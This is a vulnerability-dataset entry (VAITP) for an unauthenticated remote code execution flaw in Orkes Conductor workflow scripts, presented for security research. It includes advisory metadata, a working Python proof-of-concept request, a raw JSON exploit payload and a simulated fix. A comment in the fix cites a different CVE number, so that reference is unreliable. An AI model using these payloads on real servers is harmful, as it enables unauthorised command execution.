CVE-2026-58138
Unauthenticated RCE in Orkes Conductor via malicious workflow definitions.
- CVSS 9.3
- CWE-94
- Input Validation and Sanitization
- Remote
Orkes Conductor 3.21.21 before 3.30.2 contains an unauthenticated remote code execution vulnerability that allows remote attackers to execute arbitrary OS commands by submitting inline workflow definitions containing malicious JavaScript or Python expressions to the workflow API endpoint prior to authentication. Attackers can exploit unsandboxed GraalVM evaluators configured with HostAccess.ALL or allowAllAccess(true) through INLINE, LAMBDA, DO_WHILE, and SWITCH task types to invoke arbitrary system commands via Java reflection or direct subprocess calls.
- CWE
- CWE-94
- CVSS base score
- 9.3
- Published
- 2026-06-30
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Command Injection
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Orkes Conduc
Solution
Upgrade to version 3.30.2 or later.
Vulnerable code sample
import requests
import json
# The target URL of the vulnerable Orkes Conductor API endpoint
conductor_api_url = "http://localhost:8080/api/workflow"
# The malicious workflow definition exploits the GraalVM sandbox escape.
# It defines an 'INLINE' task that uses the 'graal_python' evaluator.
# The Python expression leverages GraalVM's polyglot capabilities to
# access the Java Runtime and execute an OS command.
# In this case, it creates a file named '/tmp/pwned' on the server.
exploit_workflow_payload = {
"name": "vulnerability_poc_workflow",
"version": 1,
"tasks": [
{
"name": "malicious_inline_task",
"taskReferenceName": "rce_task",
"type": "INLINE",
"inputParameters": {
"evaluatorType": "graal_python",
"expression": (
"import Polyglot\n"
"java_runtime = Polyglot.import_type('java.lang.Runtime')\n"
"runtime_instance = java_runtime.getRuntime()\n"
"runtime_instance.exec('touch /tmp/pwned')"
)
}
}
],
"ownerEmail": "attacker@local.host"
}
# The request is sent without any authentication headers, demonstrating the
# pre-authentication nature of the vulnerability.
headers = {
"Content-Type": "application/json"
}
# Submitting the workflow definition to the unauthenticated endpoint
# triggers the execution of the embedded malicious code.
response = requests.post(
conductor_api_url,
headers=headers,
data=json.dumps(exploit_workflow_payload)
)
print(f"Status Code: {response.status_code}")
print(f"Response Body: {response.text}")Patched code sample
import json
# The actual vulnerability (e.g., CVE-2023-38646, which matches the description)
# existed in the Java backend of Orkes Conductor. The fix was applied in Java
# by replacing an unsandboxed script evaluator with a sandboxed one or by
# disabling inline scripts by default.
#
# A Python client would send a malicious payload, but the fix is not in Python.
# This code provides a Python *analogy* of the server-side fix. It simulates
# a workflow processor that now correctly rejects dangerous inline scripts.
class UnsafeWorkflowError(Exception):
"""Custom exception for unsafe workflow definitions."""
pass
def fixed_process_workflow(workflow_definition: dict):
"""
Simulates a patched workflow processor that validates tasks before execution.
The fix is to explicitly disallow or sandbox task types that can lead to
remote code execution. Here, we disallow the 'INLINE' task type, which
was a vector for the vulnerability. A real-world, more complex fix might
involve a secure, sandboxed evaluator instead of an outright ban.
"""
if "tasks" not in workflow_definition or not isinstance(workflow_definition["tasks"], list):
raise UnsafeWorkflowError("Invalid or missing 'tasks' list in workflow.")
for task in workflow_definition["tasks"]:
task_type = task.get("type")
# THE FIX: Explicitly check for and reject the dangerous task type.
# Previously, this task type would be sent to an unsandboxed evaluator.
if task_type == "INLINE":
# The 'inputParameters' in a vulnerable INLINE task would contain
# the script to be executed.
script = task.get("inputParameters", {}).get("evaluator", "")
if "java.lang.Runtime" in script or "__import__('os').system" in script:
raise UnsafeWorkflowError(
f"Rejected potentially malicious INLINE task. "
f"This task type is unsafe and has been disabled by the patch."
)
# Other safe task types would be processed normally.
# For this example, we'll just print a confirmation for safe tasks.
elif task_type == "SIMPLE":
print(f"Safely processing SIMPLE task: {task.get('name')}")
print("Workflow validation passed.")
return True
if __name__ == '__main__':
# This represents a malicious JSON payload sent by an attacker.
# It uses an INLINE task to try to execute an OS command.
malicious_workflow_payload = {
"name": "exploit_workflow",
"tasks": [
{
"name": "malicious_inline_task",
"taskReferenceName": "malicious_task_ref",
"type": "INLINE",
"inputParameters": {
# This script attempts to use Java reflection, a common vector.
"evaluator": """
new javax.script.ScriptEngineManager().getEngineByName('js').eval(
'var ProcessBuilder = Java.type(\"java.lang.ProcessBuilder\");' +
'var p = new ProcessBuilder(\"touch\", \"/tmp/pwned\").start();'
)
"""
}
}
]
}
# This represents a legitimate workflow that does not use dangerous tasks.
safe_workflow_payload = {
"name": "safe_workflow",
"tasks": [
{
"name": "safe_task_1",
"taskReferenceName": "safe_task_ref_1",
"type": "SIMPLE",
"inputParameters": {}
}
]
}
print("--- Attempting to process malicious workflow ---")
try:
# The fixed function will inspect the payload and raise an error.
fixed_process_workflow(malicious_workflow_payload)
except UnsafeWorkflowError as e:
print(f"SUCCESS: The patch correctly blocked the malicious workflow.")
print(f"Reason: {e}")
print("\n--- Attempting to process safe workflow ---")
try:
# The fixed function allows the safe workflow to be processed.
fixed_process_workflow(safe_workflow_payload)
print("SUCCESS: The patch correctly allowed the safe workflow.")
except UnsafeWorkflowError as e:
print(f"FAILURE: The patch incorrectly blocked a safe workflow: {e}")Payload
{
"name": "cve_2026_58138_exploit",
"version": 1,
"tasks": [
{
"name": "rce_task",
"taskReferenceName": "rce_task_ref",
"type": "INLINE",
"inputParameters": {
"evaluatorType": "javascript",
"expression": "Java.type('java.lang.Runtime').getRuntime().exec('touch /tmp/pwned')"
}
}
],
"ownerEmail": "attacker@example.com"
}
Cite this entry
@misc{vaitp:cve202658138,
title = {{Unauthenticated RCE in Orkes Conductor via malicious workflow definitions.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-58138},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-58138/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
